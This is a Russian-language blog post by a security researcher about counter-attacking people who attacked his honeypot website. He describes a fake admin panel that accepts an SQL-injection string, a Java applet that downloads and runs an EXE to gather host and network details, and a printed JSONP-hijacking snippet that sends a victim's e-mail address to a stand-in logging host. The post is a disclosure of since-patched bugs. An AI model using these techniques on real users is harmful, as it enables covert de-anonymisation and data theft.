Тема анонимности в Интернете является сейчас достаточно модной и интересной, и особенно теперь, когда новостные порталы пугают наc всякими там PRISM, правительственными инициативами и прочим. Большинство людей озабочены тем, как сохранить тайну своей личности в сети и поэтому все темы так или иначе посвящены ЗАЩИТЕ. Но иногда, раскрытие анонимности это не такое уж и плохое дело. Да-да, эта заметка — мой опыт борьбы с анонимностью своими силами, без помощи спец-служб…
Зачем?
Прежде всего… а зачем мне это? Я не «трехбуквенник», а скромный инженер, замыслов по захвату мира у меня пока нету и прочими недобросовестными делами я не занимаюсь, так чем же мне не угодила анонимность? Ответ прост — анонимусами, хацкерами, сркипт-кидисами… Эти ребята вечно пытаются что-то там сломать, украсть, испортить или погонять свое ЧСВ. Дело это, если подумать не такое уж и плохое (лучше чем в подворотне наркотиками баловаться), но раз ребята любят поиграть — давайте поиграем с ними. Их анонимность дело не святое, поэтому можно с ней и по сражаться 8) Но как общий результат, все это работает с любым пользователем сети Интернет, просто я применил усилия исключительно против атакующих, тех кто пытается получить несанкционированный доступ и нарушить статью 272 УК РФ. Кроме того, мой опыт будет интересной иллюстрацией к теме «контратаки» на самих атакующих в автоматическом режиме без участия человека. Результат контратаки — раскрытие информации об атакующем, что, согласитесь, дело хорошее, а не плохое…
Бочонок с медом
Для того, что бы не повредить анонимности ни в чем не повинных граждан и контратаковать только «злодеев», нужно быть уверенным, что данный юзверь — взломщик. Для этого достаточно иметь систему анализа поведения посетителя с механизмом обнаружения «атакующих» действий. Короче говоря, достаточно сделать honeypot. Для этого не надо разворачивать honeyd и тд. Например для общего случая с WEB ресурсом, достаточно на продакшн сервере расположить один псевдо-рабочй скрипт, который будет изображать полезность и функциональность, но на деле будет детектировать попытки проникновения и в случае «удачной» атаки изображать, что этот взлом удался. После этого исполнять контр-атаку на этого конкретного пользователя. Наглядный пример, создадим скрипт admin.php или /admin/ не важно, любой уважающий себя атакующий найдет этот URI за несколько секунд, это очевидный ход. В случае если хочется повысить внимание нежелательных элементов к ловушке, можно разместить линк с главной страницы (мол админка тут), ведь главная задача, что бы плохой парень начал атаковать первым делом хонипот, а не ковырялся в нормальных скриптах. В скрипте псевдо-админки, ясно дело, спрашивают логин и пароль. Далее дело фантазии, можно ждать когда атакующий пробрутит перебором пароль либо сделать эмуляцию уязвимости класса SQL Injection, и тогда подойдет любой пароль класса ' or 1=1/* будет давать доступ в «админку». При этом мы можем собирать статистику — как была взломана админка, подбором или через SQLi. Ну и само собой — любой кто попал в «админку» является «плохим» парнем, и его раскрытие его анонимности не вызывает проблем морали у меня.
Собственно в 2011 я разместил такой скрипт на своем горе сайте и стал ждать… ждал я не долго, так как сайт был посвящен теме ИБ, то желающих зОхакать его превышало всякое воображение.
Бей в лоб
Очевидно, что в самом общем случае, все что мы имеем об посетителе веб сайта (и атакующем, в нашем частном случае) это лишь IP адрес, User-Agent и тд. Как я говорил, мы не CIA/FSB/MOSSAD… у нас нет СОРМ или PRISM, и мы понимаем, что IP адрес (учитывая разные там Proxy серверы и TOR) — это фактически НИЧЕГО. С этим мы и имеем дело в большинстве случаев, но если разыграть один тонкий психологический момент (конкретно касающегося скрипт-кидди), то выяснится, что эти ребята не ждут подвоха! Другими словами, в теле «админки» можно сделать что угодно — повесить сплойт-пак например и пробивать сплойтами нерадивых. Но я сыграл более «плоско», я запустил Апплет Java. Мол вы прошли аутентификацию… вот наша панель GUI на Java. Элемент социально инженерии — атакующий в порыве радости от успешной атаки SQLi может тупо запустить апплет. И… я удивился, но таких было… и было достаточно (конечно потом, с течением времени процент пробива падал, так как информация о подставе быстро разошлась среди узкого круга специалистов ;). Собственно апплет тупо дергал EXE файл с сервера и запускал его.
EXE файл собирал НЕ ПЕРСОНАЛЬНЫЕ данные (да да, я блюду ФЗ о ПДн...), только следующую инфу: IP локальный, traceroute из сети, имя машины, логин пользователя. Это не много, но в большинстве случаев этого достаточно что бы обойти TOR/Proxy/VPN и даже узнать фамилию атакующего! Дополнительно, конечно, можно было бы собирать BSSID окружающих точек доступа, например и делать съемку с веб-камеры ноута, парсить конфиг файлы с винта и тд и тп. Короче суть в том, что установив «агента контр-разведки» на ПК атакующего мы обошли многие преграды, и TOR и Proxy уже не пределах. Очевидная контр-атака. Примечание: мой агент не имел удаленного доступа, хотя технически это можно было закодить, я не хотел бекдорить и распространять вредоносное ПО. Данный агент не был вредоносным, так как собирал сугубо техническую инфу об ПК атакующего и его сетевом окружении. Кстати, все данные передавались реверсивным DNS каналом, что улучшало успешные «отстукивания» с данными — http://www.xakep.ru/post/55661/.
Интересные «атакующие»:
1) Министерство обороны РФ
Одни из первых, попытались применить атаку типа SQLi ребята с ВНЕШНЕГО IP Министерства обороны Российской Федерации. К моему счастью, они либо не повелись на апплет, либо у них был Linux (так как мне в падлу было добавлять кросс-платформенность). Я знаю, что там хорошие ребята и, конечно, ничего плохого они не хотели! Но надеюсь при реальных «разведывательных операциях» они используют хотя бы китайские прокси сервера ;)
2) Антивирусная компания
Этот запуск был сделан с виртуальной машины антивирусной компании. DNS сервер и tracert спалили контору 8) Примечательно что ребята не добавили агента в список вредоносного ПО! Оценили. Спасибо вам ребята!
3) Куча ребят
Просто куча разных ребят, кто-то знал о фиче и просто игрался, кто-то нет (http://habrahabr.ru/post/122107/#comment_4003842)
4) И самое интересное Хост принадлежащей РАЗВЕДКЕ одной из стран СНГ. С «обратным» проникновением.
По началу я решил что вот она, кибер война началась! Наш агент в результате контр-атаки оказался запущен на хосте принадлежащему службе разведки другого гос-ва. Только учетная запись выглядела как сервисная, что наводило на мысль, что хост был скомпрометирован и использовался как посредник. Чуть позже, в то же день мы получили инсталл второго «агента» из той же страны, только в этот раз не из сети правительственного учреждения, а с домашнего ПК. Имя пользователя ПК, оказалось легко гуглящимся и идентифицировать человека вышло без проблем. При этом учитывая эти «совпадения», можно сказать что либо он работает на эту разведку, либо ка кто получил доступ к правительственному хосту.
Ранение рикошетом
Окей, мы поняли, что простейший путь раскрытия анонимности — контратака через сплойт-паки или с элементами СИ, но это толсто и очевидно. Но была еще одна идея — сторонние сервисы, такие как веб-почта или, например, социальные сети. Можно сделать атаку более незаметной… что я и сделал 8)
Да, кроме апплета, в случае успешной атаки на меня, я узнавал e-mail атакующего, что бы точно знать «кто виноват» (ну а что делать и так ясно..). И опять же, анонимность это не TOR/VPN/Proxy chain. Этого не достаточно! И так суть проста, если гражданин исопльзует сервисы типа ВКонтакте, yandex, google, linkedin, twitter, facebook и тд… и при этом он на них постоянно аутентифицирован, то при наличии каких либо уязвимостей (CSRF/XSS) на этих сервисах позволят раскрыть ВАШУ анонимность. Так получилось, что на сервисах mail.ru и yandex.ru были найдены уязвимости (я о них сообщил давно, и они давно запатчены, тем нем менее я успел испытать ради моего «научного» эксперимента по практической поимке злых парней...). Уязвимость самая банальная (на обоих сервисах): JSONP Hiacjaking. Суть проста, есть некий сервис:
http://mail-service.com/ajax?callback=func
Который использует cookie аутентификацию, и возвращает что-то типа:
func({"e-mail":"usernmae@mail-service.com"});
Соответственно, для эксплуатации это бреши и раскрытия анонимности используем код:
<script>
function func(obj)
{
var url="http://loger.com/log.php?value="+obj["e-mail"];
$.get(url);
}
</script>
<script src="http://mail-service.com/ajax?callback=func"/>
Так что помните: можете забыть о TOR/VPN, если вы вечно носитесь по соц. сетям, даже не надо иметь PRISM, что бы проследить кто вы и откуда, достаточно «тупых» CSRF/XSS.
Типичный атакующий:
И еще...
Кстати, как еще пример такого подхода, сеть linkedin, даже не нужна уязвимость, там это реальная фича — лог тех, кто просматривал ваш профайл. То есть если на мою админку повесить тупо редирект на специальный зарегистрированный профайл linkedin:
То в итоге можем прямо в linkedin'е узнавать больше информации об атакующих:
Кстати, можно заметить, что SAMEORIGIN не помогает, так как GET запрос проходит до того, как браузер проверит ORIGIN политику, проверка происходит ПОТОМ ;)
Статистика
В конце немного статистики. Эксперимент длился с Q2 2011 до Q3 2012.
Всего УНИКАЛЬНЫХ атак SQLi — 484 (за ~1.2 года)
Из них успешных контр-атак (Java Applet) — 52 (за ~1.2 года)
Из них успешных контр-атак на mail.ru/yandex.ru — 16 (за 6 месяцев)
~ 17 % успеха при контр-атаках.
График зависимости:
Как видно, в начала был апплет, «мыло» я добавил значительно позже. Пики по посещаемости связаны с анонсами ZeroNights и встреч Defcon группы. Пробив по почте фактически линейный, тогда как апплеты только в начале зависимость была линейной… Это связано с обновлениями Java, антивирусы добавили апплет потом в базу вредоносного ПО (что не удивительно ибо он собран из metasploit пейлода)
P.S. Кстати, если с yandex.ru есть куда сообщать о найденных мной багах, то в случае с mail.ru я не нашел контакты, пока не познакомился с тамошним ИБшником и не слил багу ему лично…
Выводы
Хоть этот блог-пост больше о том как я ловил «плохих» парней, на самом деле это более широко аппроксимируется на вопросы анонимности в сети Интернет — если ИТ/ИБ специалисты и хацкеры палятся, то что говорить о нормальных людях? Вполне очевидно, что TOR/Proxy и VPN не помогают в этом вопросе. Достаточно логина в соц.сети, невнимательности и еще много чего, что бы однозначно сопоставить посетителя веб-ресурса с реальным человеком. Будьте аккуратнее и JFY: Как работают настоящие зло-хакИры
Ну и второй вывод, контр-атака на атакующего не такая уж и плохая идея, меньше вы о нем знать не станете, но если «прокнет», то вы получите много интересной инфы. Кстати, в некотором государстве эти штуки уже работают (как мне сообщили). Так что кибер-война это весело!
P.S. Оригинальные материалы, где чуть более детально раскрыты баги:
Слайды с BH EU 2013
Текстик с BH EU 2013
May the Force be with you.
Автор: d00kie